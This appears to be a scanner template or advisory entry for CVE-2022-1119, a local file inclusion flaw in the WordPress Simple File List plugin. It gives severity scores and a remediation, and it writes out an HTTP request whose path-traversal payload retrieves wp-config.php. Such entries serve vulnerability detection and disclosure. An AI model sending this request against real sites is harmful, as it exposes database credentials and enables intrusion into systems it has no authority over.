| Title | WordPress Simple File List <3.2.8 - Local File Inclusion |
|---|---|
| Author | random-robbie |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise. |
| Remediation | Update WordPress Simple File List to version 3.2.8 or later to mitigate the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.90562 |
| CVE ID | CVE-2022-1119 |
| CWE ID | CWE-22 |
| Tags | cve cve2022 wp wp-plugin wpscan lfi wordpress simplefilelist vuln |
WordPress Simple File List before 3.2.8 is vulnerable to local file inclusion via the eeFile parameter in the ~/includes/ee-downloader.php due to missing controls which make it possible for unauthenticated attackers retrieve arbitrary files.
GET /wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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